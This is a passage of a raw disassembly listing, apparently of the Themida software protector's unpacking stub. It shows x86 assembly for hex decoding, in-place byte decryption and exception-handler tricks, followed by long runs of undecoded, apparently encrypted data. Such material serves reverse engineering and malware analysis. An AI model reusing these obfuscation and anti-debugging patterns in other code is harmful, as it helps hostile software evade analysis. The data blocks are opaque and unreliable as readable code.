XREF: Themida_:0053DC60j inc dword ptr [ebp-4] inc esi loc_53DC5D: ; CODE XREF: Themida_:0053DC57j cmp byte ptr [esi], 0 jnz short loc_53DC59 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53DCEE ; --------------------------------------------------------------------------- loc_53DC6F: ; CODE XREF: Themida_:0053DCF1j mov dword ptr [ebp-8], 0 jmp short loc_53DCE5 ; --------------------------------------------------------------------------- loc_53DC78: ; CODE XREF: Themida_:0053DCE9j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53DCD2 ; --------------------------------------------------------------------------- loc_53DC88: ; CODE XREF: Themida_:0053DCD6j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53DCAA cmp bl, 39h ja short loc_53DCAA sub bl, 30h jmp short loc_53DCCC ; --------------------------------------------------------------------------- loc_53DCAA: ; CODE XREF: Themida_:0053DC9Ej ; Themida_:0053DCA3j cmp bl, 61h jb short loc_53DCBC cmp bl, 66h ja short loc_53DCBC sub bl, 61h add bl, 0Ah jmp short loc_53DCCC ; --------------------------------------------------------------------------- loc_53DCBC: ; CODE XREF: Themida_:0053DCADj ; Themida_:0053DCB2j cmp bl, 41h jb short loc_53DCCC cmp bl, 46h ja short loc_53DCCC sub bl, 41h add bl, 0Ah loc_53DCCC: ; CODE XREF: Themida_:0053DCA8j ; Themida_:0053DCBAj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53DCD2: ; CODE XREF: Themida_:0053DC86j cmp dword ptr [ebp-0Ch], 2 jb short loc_53DC88 cmp dword ptr [ebp-10h], 0 jbe short loc_53DCE2 mov eax, [ebp-10h] stosb loc_53DCE2: ; CODE XREF: Themida_:0053DCDCj inc dword ptr [ebp-8] loc_53DCE5: ; CODE XREF: Themida_:0053DC76j cmp dword ptr [ebp-8], 2 jb short loc_53DC78 add edx, 4 loc_53DCEE: ; CODE XREF: Themida_:0053DC6Dj cmp edx, [ebp-4] jb loc_53DC6F mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53DD01: ; CODE XREF: start+5FAD4j mov ecx, 7000h lea edi, [ebp+64E35C0h] loc_53DD0C: ; CODE XREF: start+5FCFCj dec byte ptr [edi] inc edi dec ecx jnz short loc_53DD0C mov eax, 48692121h mov edx, 0F00DE000h sub edx, 0F0000000h lea eax, [ebp+64E36C3h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push 0 push eax call sub_53DD48 and [eax-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53DD48 proc near ; CODE XREF: start+5FD2Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_53DD48 endp ; --------------------------------------------------------------------------- dd 0BB66D45Ah, 81667474h, 2BFFC7DBh, 8E8C2h, 0BC570000h dd 0E369634Bh, 0C38141F5h, 30756086h, 1860F5Bh, 0F8000000h dd 0FFF00025h, 0DDDB80FFh, 0FF33CA8Bh, 4D388166h, 0F0E755Ah dd 33C50B7h, 503A81D0h, 74000045h, 10002D08h, 0EB470000h dd 58F64E3h, 0 dd 8D04C483h, 4E36D695h, 0FF645206h, 35h, 25896400h, 0 dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h dd 3768000h, 331C708Bh, 32F883C0h, 81661F74h, 745A4D3Eh dd 0EE8109h, 40000100h, 7E8BEBEBh, 81FE033Ch, 45503Fh dd 0EB447400h, 58F64E8h, 0 dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 244C8B51h, 0E85510h, 5D000000h, 36E1ED81h, 858D064Eh dd 64E369Fh, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h dd 6A04C4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 6E05E2C3h, 0FCC26F33h, 5E96DB7h, 0DB000000h dd 0F1C840AEh, 0E9D98C66h, 0Dh, 0CBB0BB8Eh, 428B7524h dd 0A418932h, 4E18095h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 3AC35747h, 188A0F51h, 0E9000000h, 13h dd 906BFF51h, 2F5DEBCCh, 29EC5AF7h, 7F2AB72Eh, 5B05877Dh dd 850FC90Ah, 36h, 10E9h, 0F9D37E00h, 35AE768Bh, 3C648C74h dd 0A1057717h, 0B9CB810Bh, 0C76040B2h, 4E264985h, 106h dd 0DBB70F00h, 18E9h, 0B6CB8100h, 80530BCFh, 85C7A1C7h dd 64E2649h, 0 dd 0DD1498BBh, 0D185893Fh, 0E8064E25h, 6, 0C40E09DBh, 0C3818A0Ch dd 4C93E0BCh, 0BE95Bh, 0BFE10000h, 0A397B143h, 0A3B296F2h dd 0C98589DFh, 0E8064E24h, 0Ah, 5E1016CEh, 13068DAEh, 665FA25Bh dd 813674BBh, 6E22C7h, 820F6000h, 2, 6861CB8Bh, 1B55h dd 8A0F59F5h, 18h, 13E9h, 78C80100h, 0EE6B2DA8h, 0A87FEFAFh dd 1CDE30EAh, 0D89D029Dh, 0CE937FFh, 6E000000h, 0E12E6BEDh dd 0A933D047h, 587478B4h, 67F081F8h, 8109B5D6h, 4F7C72C0h dd 0DE923h, 0AE0C0000h, 4D388473h, 0FA5C0548h, 81802BE6h dd 0D40C43C0h, 5CBA5011h, 8F0065DCh, 2EF8307h, 0BE9h, 59FB0E00h dd 0FD812B6Dh, 4D5419BBh, 27BB4F4Fh, 833D1845h, 850F01E9h dd 15h, 24E9F5h, 8B10000h, 68CF565Eh, 69F80DA3h, 440961FAh dd 0FF82E957h, 47D0FFFFh, 5F305159h, 68BC86BEh, 0B01B8006h dd 11E8836Bh, 0FF000000h, 847D6A2Ch, 2D967712h, 9DC549D9h dd 0B5632F1h, 0BE9h, 0C78AA200h, 9D10EB21h, 233B6Eh, 0E981665Bh dd 0C381595Ch, 6042h, 9E9h, 0DC119400h, 0E641CDF0h, 0D233F6A0h dd 28E0Fh, 43B10000h, 6013048Bh, 13E9h, 9B3C4800h, 20A224E2h dd 5C7C6200h, 22AEEDC3h, 0C1618283h, 0C08161F9h, 7F983C28h dd 0A312E881h, 77B96923h, 812ED730h, 63BC93C0h, 5E936h dd 5FF10000h, 507B3A09h, 8FF2B70Fh, 66601304h, 0E908CE81h dd 0AE9h, 817FDE00h, 745DEEC9h, 616D4714h, 8B04EA83h, 6CFA81F0h dd 0FFFFFA0h, 0FFFF9385h, 745E9FFh, 60FC0000h, 6F7184BEh dd 9E95Bh, 3AC50000h, 84DBC60Fh, 616BBD60h, 217h, 0ED8D0160h dd 29064E03h, 4E102DB5h, 616106h, 14E900h, 828F0000h, 272C6AF5h dd 0E8B7AC61h, 42A2FE4Ah, 0A28AAFA3h, 0F606296h, 684h dd 51BD8900h, 0B8064E2Ah, 0 dd 0C799D29h, 548B064Eh, 8F0F2824h, 0Ah, 23DA8A60h, 4E08E98Dh dd 85896106h, 64E2BD5h, 17AD8589h, 8B60064Eh, 4E319DBDh dd 0C7B70F06h, 3CBE61h, 8B600000h, 4E127185h, 5B566006h dd 25AD958Bh, 6161064Eh, 24247403h, 0C318509h, 2960064Eh dd 4E12859Dh, 17BB6606h, 0AD666123h, 14E9h, 68B2ED00h dd 8EBBECACh, 54A36114h, 41EB00DFh, 0EFDD214h, 244403B0h dd 59D8924h, 90064E09h, 6E95250h, 8B000000h, 0EE5B8FEEh dd 0E9310F5Fh, 5, 417EB947h, 50585AB1h, 88A0Fh, 8D0F0000h dd 2, 31906160h, 4E286D8Dh, 14E86006h, 0C0000000h, 0A2CCB965h dd 0E71D2278h, 0FE4B09DEh, 0CE69C4B1h, 0B7600BB2h, 8B615AECh dd 890F7840h, 0Ch, 68F0Fh, 820F0000h, 0 dd 1B2D8D89h, 4403064Eh, 0BD892824h, 64E3041h, 6FD9589h dd 408B064Eh, 0AE918h, 86CE0000h, 0F20774Ch, 0D843D8CCh dd 958D8940h, 89064E31h, 4E21819Dh, 0AA858906h, 89064E39h dd 4E0F9D85h, 8BF95806h, 95897870h, 64E1649h, 0F91CC683h dd 13858D31h, 7403064Eh, 860F2424h, 15h, 10E9h, 8BBFD900h dd 2831ED8Ch, 3F743E4Ah, 0FE7A6D2Eh, 39BD8D52h, 0FC064E30h dd 0B58509ADh, 3064E15h, 89242444h, 4E0B1985h, 0BD89AB06h dd 64E18F5h, 1810Fh, 8DFC0000h, 4E0315BDh, 799D2906h, 0AD064E25h dd 7E860h, 1A430000h, 1C31F989h, 5DC0815Eh, 58222960h dd 12E9h, 0DFFD7D00h, 81A735F3h, 6F641D21h, 66DFCAADh dd 61F81A30h, 24244403h, 9E9h, 2CD84F00h, 479FE06Dh, 90F5288Eh dd 84BE6660h, 850F56B1h, 0 aAps db '^aPé',9,0 align 10h dd 0F47D629h, 0FF502C0Dh, 0ABF890D0h, 10E860h, 8EAD0000h dd 0CDC98ED6h, 0E317D880h, 44F408Bh, 6160DDAAh, 0FB8B665Eh dd 79BD8D61h, 0F064E0Bh, 68Bh, 698D2900h, 60064E2Ah, 0BBBBA66h dd 0E1858B56h, 5E064E07h, 890FAD61h, 6, 21959D01h, 4403064Eh dd 0B5892824h, 64E1369h, 9D8B60ABh, 64E2919h, 2B91B58Bh dd 5E61064Eh, 0AA8DFFFCh, 83064E39h, 4E39AABDh, 10750006h dd 1C2444C7h, 0 dd 3EBEB58Dh, 0E6FF064Eh, 4403AD56h, 8B972824h, 1858ADFh dd 84064E04h, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 4E17AD85h, 0FF6FE906h dd 0E95EFFFFh, 9, 11166131h, 219D75EEh, 14E9F9E1h, 9000000h dd 0BEEC01FAh, 3880ED75h, 0B6BF6ED9h, 9439751h, 8BB3A326h dd 4E17AD85h, 1DBD2906h, 0D1064E2Ch, 8503F8E0h, 64E0B79h dd 2B6160FCh, 8860FF6h, 0F000000h, 28Fh, 96616000h, 2521B589h dd 0AD66064Eh, 9830Fh, 66600000h, 5C7DE181h, 0C161FE8Bh dd 830F02E0h, 18h, 13E9h, 3B7D8B00h, 975F9F68h, 7555DA71h dd 0E7CD6652h, 17CB314Eh, 30398503h, 890F064Eh, 1, 0ADF596FCh dd 15BD8D29h, 4C8B064Eh, 85012424h, 64E0771h, 0C800Fh dd 7E90000h, 94000000h, 2222757h, 4403953Ch, 14E92424h dd 17000000h, 0AF6B1A0h, 0AD213184h, 32F4825Ch, 133489Bh dd 89E930EBh, 0FC1C2444h, 10819589h, 0F896064Eh, 68C0FACh dd 29000000h, 4E159195h, 11E906h, 104F0000h, 0C75646B1h dd 87AC51FDh, 5FFB749Ah, 321C5093h, 0FEF5F5C9h, 0CD8D89C1h dd 0FC064E05h, 830FD0D0h, 0D0h, 7860Fh, 66600000h, 5B50F98Bh dd 0FD0D061h, 0BB83h, 98C0F00h, 60000000h, 0F1B9D68Bh dd 6149D1E6h, 820FD0D0h, 0A4h, 0EE9h, 0A8F05100h, 0A2C50CD5h dd 39F9C137h, 0D07143FFh, 89820FD0h, 60000000h, 2860Fh dd 0C5B00000h, 17299D2Bh, 0FE61064Eh, 99890FC9h, 60FFFFFFh dd 0D88B4DB5h, 7E961h, 8FE80000h, 2D71B35h, 20C4839Fh dd 7810Fh, 8B0F0000h, 1, 419589F8h, 0C7064E05h, 0FC2444h dd 0F5000000h, 1B8h, 6E900h, 0C0E60000h, 0A25DA4A2h, 73C78D8Dh dd 160064Eh, 4E28B1BDh, 6186B606h, 8529E1FFh, 64E159Dh dd 128D0Fh, 0DE90000h, 0E3000000h, 0D30243FAh, 50BB6E1Dh dd 1862C4D4h, 40185C6h, 0F00064Eh, 688h, 718D8900h, 61064E0Ah dd 8C2F9h, 10820Fh, 0BE90000h, 88000000h, 0B3DFBD2Ch, 0D179E85Ch dd 0E9509782h, 10h, 3A205C6Bh, 223CA15Ch, 9B88EB79h, 0D992E96Eh dd 29243489h, 4E0BD5B5h, 0A6B58906h, 0F064E40h, 0C8Dh dd 68F0F00h, 89000000h, 4E1279B5h, 0BC8D8906h, 9064E40h dd 4E165995h, 59B58D06h, 0FC064E3Fh, 7E35858Dh, 8C0F005Bh dd 6, 16B1B501h, 0D0FF064Eh, 8D295EF5h, 64E0695h, 0C1B589C3h dd 8B064E08h, 4E40A6B5h, 0C9B58906h, 8B064E15h, 4E40BC8Dh dd 0B8F506h, 0FC000000h, 890FD98Bh, 6, 8E59D89h, 0C0E9064Eh dd 0F000000h, 1F80h, 19850F00h, 0E9000000h, 14h, 3BB0FE5h dd 96812274h, 0F7A54F47h, 0BC41C3D0h, 0A859BC8Dh, 95292632h dd 64E1179h, 8D0F02B2h, 15h, 10E9h, 9FF7DA00h, 0D8D60014h dd 309E551Dh, 5E189BE2h, 3AE9A6h, 8D290000h, 64E267Dh dd 0F8F9C232h, 751D7A05h, 6820F8Ah, 9000000h, 4E26DD95h dd 1CC8A06h, 4E054185h, 89C8D306h, 4E0445B5h, 8423506h dd 89F998D1h, 4E26B18Dh, 0FCCAFE06h, 850FD20Ah, 0FFFFFFC4h dd 11E9h, 0D8F4E000h, 3103A6DBh, 0C19AA266h, 77796646h dd 0E94B8227h, 0Ch, 7A322D39h, 71B1352Dh, 0FEE127ACh, 0A1958946h dd 0B064E26h, 5D850FDBh, 0E9FFFFFFh, 14h, 24E5921Dh, 0CA5825Fh dd 8F12ECB5h, 0E83CC75Fh, 0EBC2CC59h, 0EE860CFh, 0BD000000h dd 9C1CCFCAh, 22B8B18Ah, 511591DDh, 9E8F4h, 0C0DF0000h dd 13669025h, 59C8C7BBh, 52B8665Bh, 66606197h, 0E9DFEABEh dd 0Bh, 0F4AD0928h, 7F463877h, 611F6E79h, 85890000h, 64E2BC5h dd 8F0F0000h, 6, 1E698D89h, 64Eh, 30559D29h, 8589064Eh dd 64E078Dh, 0FF90000h, 686h, 0E1850900h, 8D064E2Ch, 4E39D885h dd 8E0F6006h, 3, 0E9CFBF0Fh, 14h, 57269A0h, 657EF57Eh dd 244A0E57h, 0A6D57A0Ah, 0A9A6D195h, 0B5858961h, 89064E26h dd 4E0679BDh, 0EC858D06h, 0E9064E3Eh, 9, 0D74CE6E5h, 0B293A1FDh dd 8185899Eh, 0EB064E1Fh, 14h, 3 dup(0) dd 8B00h, 0F7858D00h, 89064E41h, 4E05E585h, 37BD8306h dd 64E41h, 123840Fh, 85C60000h, 64E0401h, 21B56856h, 3481A05Ch dd 434C8C24h, 0D1B5FF74h, 8D064E25h, 4E39D885h, 89D0FF06h dd 4E412B85h, 185C606h, 56064E04h, 95C76068h, 2404811Dh dd 7F12F0F2h, 25D1B5FFh, 858D064Eh, 64E39D8h, 8589D0FFh dd 64E412Fh, 4E8046Ah, 0 dd 50000010h, 424448Bh, 4489008Bh, 8B580424h, 4E413B85h dd 1F40506h, 0E0C10000h, 4895002h, 0FF006A24h, 4E412F95h dd 33858906h, 8B064E41h, 0FFFFB8D8h, 95FFFFFFh, 64E05E5h dd 95FFC38Bh, 64E05E5h, 84E9h, 37BD8300h, 64E41h, 1850Fh dd 57C30000h, 4133BD8Bh, 83AB064Eh, 4E413385h, 0C35F0406h dd 4137BD83h, 0F00064Eh, 185h, 8360C300h, 4E4133ADh, 9D8B0406h dd 64E4133h, 0FFFC7B83h, 1D850Fh, 10680000h, 818E7538h dd 47F02404h, 6A718Bh, 95FF33FFh, 64E412Bh, 1DE9C361h dd 68000000h, 6A5A8F56h, 56243481h, 6A6A5A0Fh, 0FF33FF00h dd 4E412B95h, 33AD8306h, 4064E41h, 0FFFFB1E9h, 0ADE948FFh dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h dd 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h dd 1F8F0000h, 27EE730Fh, 0B1CF36D7h, 0ACF21518h, 89BB9315h dd 0B89D1593h, 69754200h, 8EB4F126h, 39D2119Eh, 65E57E0Fh dd 0A6DD3EDBh, 0BEE3464Ah, 0C2B4D612h, 0B2ED76FCh, 6868560Ah dd 8EB4A32Ah, 3ADD179Ch, 65FF7E0Fh, 0B9C723C4h, 0A0FF584Ah dd 0CCA0C109h, 0FED91597h, 7968521Dh, 0C0B5F167h, 2CC91789h dd 2AF9670Fh, 0B9C923C5h, 44h, 62h dup(0) dd 1F8F0000h, 2BE47A0Fh, 0A6C725CBh, 0A2E8454Ah, 81B8C101h dd 0ADDC13D6h, 687E554Fh, 8FA7A368h, 7ED81685h, 2BE5625Dh dd 0F4CF3FCBh, 0B4BA5B03h, 0CCABC609h, 0AACE0285h, 7355A0Ah dd 85ADD30Bh, 72D90B91h, 29E5620Fh, 0F4CC30CDh, 0ABBA4103h dd 0CCB4DC14h, 0B1D01E9Bh, 6C3B4E1Dh, 92E1E768h, 3FC80B95h dd 3CAB635Dh, 0F4DA24CDh, 0AAF5471Ah, 0C2B4D214h, 48h dup(0) dd 1F8F0000h, 24F9740Fh, 0A6CD3AC1h, 0B9BA464Dh, 0CCB5DC09h dd 0FECE1A9Eh, 637E520Dh, 95AEE526h, 2C9C1C9Eh, 2CE5795Ah dd 0BD8836CCh, 0A2E31504h, 9FF9C113h, 0BBC9088Fh, 111902h dd 81A4EF56h, 7E901D83h, 2AE7795Ah, 0BD8835C3h, 0BFFC151Eh dd 81F9DE09h, 0ACD21693h, 637A1716h, 85B3A362h, 2CDD0C83h dd 2AF2375Bh, 0A48823D7h, 0BFFD5A18h, 0F7DE07h, 61h dup(0) dd 188F0000h, 65EE7B46h, 0A6DA3EC1h, 0A8EE451Fh, 0CCF79202h dd 0ADD413A2h, 6269474Fh, 8DA0F161h, 2DDD10D0h, 20EE750Fh dd 0B5C571CCh, 0B8EA5C04h, 89ADD20Ah, 0B0DC5B92h, 6C76170Bh dd 0EAA4E17Fh, 79C811FDh, 2BE2375Ch, 0A0CB34C4h, 0AFBA510Fh dd 0CCB8931Fh, 0ABCF12A0h, 7F74171Ch, 81B3E026h, 3AD91393h dd 2DDF3701h, 0B28822CBh, 0EDFF5903h, 0CBB7DC11h, 0B1CA5B82h dd 6C3B5C1Dh, 8FACFA68h, 921D82h, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 dd 2E98E900h, 6AFC0000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 47ACC355h, 13A9BD89h dd 0C08B064Eh, 83D9BF0Fh, 4E2D45BDh, 9750006h, 19E1BD83h dd 7400064Eh, 8B535013h, 1B8C0h, 9D8D0000h, 650B7E3h, 585BD3FFh dd 19E1BD83h, 7400064Eh, 0B8535011h, 1, 0B6949D8Dh, 0D3FF0650h dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 14D4E0C3h, 95236FE7h, 64E02F9h, 0E8F4D380h dd 7, 89CB83E1h, 806ABCE8h, 8B5AC6DFh, 44E380C0h, 13E9BD83h dd 0F00064Eh, 1E984h, 83DD8A00h, 4E2979BDh, 840F0006h dd 1DAh, 8960D08Bh, 4E30358Dh, 79858B06h, 0F064E29h, 386h dd 0D98B6600h, 3E805h, 799D2300h, 90064E11h, 128C0Fh, 0AE80000h dd 3A000000h, 547C9AFFh, 877FB406h, 5B5A5737h, 0D890F50h dd 50000000h, 89FFBB52h, 310F2012h, 585ADA8Bh, 8DD38B90h dd 4E4DF285h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 71501E13h, 85FC603Dh, 0BD31CAC9h dd 64E1B15h, 10E950h, 0DC6B0000h, 5A595D2h, 0CC1ED797h dd 0AEA485B9h, 489633Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 48D9AAA8h, 0C27CA811h dd 0E860C73Bh, 5, 2348AB90h, 77EF81FFh, 5F6C9B32h, 2C5BD8Bh dd 0F61064Eh, 858DD6BFh, 64E4DD0h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 53C35646h, 6083085Ch, 9824D082h dd 50D58A90h, 0E890DF8Bh, 11h, 0B6EF30C1h, 0D89BA281h dd 94953B28h, 86AA3F90h, 0DE9E0h, 90BF0000h, 268951F0h dd 0D515FD23h, 5A263377h, 83F38166h, 4D95FF49h, 0F064E2Fh dd 0C483D7B7h, 6D8D890Ch, 8D064E1Bh, 4E4DD085h, 0FE906h dd 0F8720000h, 9BF2C6C4h, 7C779808h, 50A27483h, 525050D5h dd 5E9h, 0D2C5FC00h, 310F0F04h, 87FFBB66h, 489585Ah, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0B0C84952h, 0BD95299Eh, 6A064E0Ch, 51006A02h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 74D7100h, 857495FFh, 81660068h, 6152B1D2h, 0E71952Bh dd 85C7064Eh, 64E4E03h, 1, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0FDC35040h, 920220Dh, 4E07B985h, 850F6006h dd 1, 0D78B66F8h, 0F48A5061h, 6A243489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0E5D5C357h dd 0BDA13F6Dh, 0D880Fh, 66600000h, 6A33C181h, 175D8589h dd 8961064Eh, 4E4DB4B5h, 0ED953306h, 8B064E0Dh, 49BD83DAh dd 1064E26h, 5C850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0A53140C3h, 83BB8CB9h dd 850F05F8h, 32h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0F8C35343h, 75BD89A7h, 8A064E16h, 0B8F4h dd 0D78B0000h, 7A1BD29h, 0BD83064Eh, 64E2D39h, 22840F00h dd 33000000h, 4E311595h, 0B806h, 12E90000h, 35000000h dd 2CA65AF1h, 39B54323h, 7F84B43h, 642B7AE8h, 8F0F60ADh dd 2, 858BDE8Bh, 64E2925h, 2C083F8h, 2EE38050h, 0AC85895Bh dd 8B064E4Dh, 4E2C2D9Dh, 0FF00C606h, 2B119589h, 85C6064Eh dd 64E0401h, 5E853h, 45A80000h, 0E8553DC4h, 0Ah, 7F6F06D1h dd 0F0979828h, 958B423Eh, 64E329Dh, 4E85A5Bh, 0D8000000h dd 8BFCB148h, 62BB50D9h, 8B2113BEh, 0E9042444h, 0Dh, 41C83024h dd 0C8E699DBh, 943FFAA7h, 0E8008B32h, 0Bh, 96FFE6D6h, 6BE7E0E5h dd 8A7C4E18h, 44895ADEh, 33580424h, 4E0E1195h, 0C9B5FF06h dd 0BA064E24h, 0A4C8056h, 7D21858Dh, 0EE800651h, 0B6D0FFB1h dd 598589F3h, 0BA064E1Ah, 61D3634Bh, 18A1BD83h, 0F01064Eh dd 12585h, 0DE805200h, 6A615A00h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0C366C351h dd 0A705F5BFh, 89EAF651h, 4E271DB5h, 185C606h, 45064E04h dd 1F659D29h, 5768064Eh, 66762019h, 481D08Bh, 401F6B24h dd 958B5064h, 64E06A5h, 0C9B5FF5Bh, 6A064E24h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 2D77C357h, 6C4D94F0h, 6102EF8h, 0DE8h, 172B6B00h, 1558B79Ch dd 0ED3DCC42h, 8B60EEB8h, 4E0EA1BDh, 6E906h, 99C40000h dd 7F1FDF39h, 858D5B61h, 6517D21h, 2C119D8Bh, 0D0FF064Eh dd 6ADBBF0Fh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 57603702h, 2151B589h, 0E95E064Eh dd 10h, 67D38CD1h, 0B963DB7h, 91548D64h, 0D2976ACEh, 1BB6661h dd 6AD0FF7Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 57C0C356h, 7E94943h, 18000000h dd 99A94EEFh, 0BD83F074h, 64E2CD5h, 6850F01h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 7F83C352h, 5D639F9Ch, 16699D29h, 858B064Eh dd 64E2925h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 2AC35747h, 0F966C6C0h, 9AE903A0h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 754AC356h, 0B49D86D1h, 0C76D3D4Ch, 50F48A90h, 52505250h dd 2A8ABB66h, 6160310Fh, 310F585Ah, 0BB665250h, 310FDB6Bh dd 812AB8BAh, 5A585A51h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0DF62F5C3h, 23DA8B66h dd 4E0CA59Dh, 33146A06h, 4E034595h, 5995FF06h, 51064E1Ah dd 21C1958Bh, 585A064Eh, 0E9F86060h, 7, 4EF43ECAh, 61338EA0h dd 388061h, 0FF82850Fh, 9589FFFFh, 64E148Dh, 310100C6h dd 4E220995h, 13E96106h, 94000000h, 611AEB23h, 0EFF54929h dd 0B75FFFE5h, 8F15EFA5h, 0BD835498h, 64E190Dh, 20840F00h dd 0F000000h, 0FF6ADABFh, 5E9h, 30496A00h, 95FF3BE7h, 64E1A59h dd 0FFE8E9FCh, 26BAFFFFh, 0C72AE18Eh, 4E190D85h, 106h dd 73E78000h, 4DB88589h, 6A064Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 5D9F36C3h, 154AB9BBh dd 89DA8B50h, 0D08A2404h, 0D68B6660h, 2D298589h, 56A064Eh dd 8819D8Bh, 858D064Eh, 64E4DD0h, 35D9BA66h, 50D98A90h dd 13E9h, 0FE719300h, 0D080959Fh, 0AEF161D2h, 8AC03EFEh dd 3487B6FDh, 0CB8B6090h, 175DBD8Bh, 8D61064Eh, 4E4DC085h dd 6DBA5006h, 5A1A3207h, 0B5EFBA50h, 489678Fh, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BF60A568h, 6C2E13EBh, 8F0F52h, 58000000h, 3595FF61h dd 8B064E33h, 508D8DD8h, 6A064E7Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0AF7CC356h dd 5EB6E2EDh, 0B9E0B7B4h, 0BDA8B66h dd 8D1174C0h, 4E4DD085h, 0D1FF5006h, 4DEE8589h, 0AEB064Eh dd 4DEE85C7h, 0FFFF064Eh, 0B589FFFFh, 64E0789h, 0CE8h dd 732B6700h, 6F67BB73h, 0D3301596h, 0B9DB810Bh, 5A2B3165h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 1CC35343h dd 8BEC9CFEh, 6650DD1Bh, 840FF853h, 6, 19199D29h, 8B61064Eh dd 4E055995h, 8F0F6006h, 1, 0B5B589F9h, 61064E08h, 40185C6h dd 0E94D064Eh, 5, 66B4509h, 4E8D1h, 76A80000h, 0B460A435h dd 773FBB33h, 50610739h, 5E9h, 675A6800h, 448B5DD4h, 9E90424h dd 0A7000000h, 7B9570F6h, 45C86428h, 0CE9008Bh, 0FE000000h dd 26678CC5h, 27D266A1h, 898F7DB7h, 8B042444h, 816658DEh dd 0FF8D24CBh, 4E0681B5h, 89BA6606h, 21858DA1h, 6A06517Dh dd 3E85700h, 20000000h, 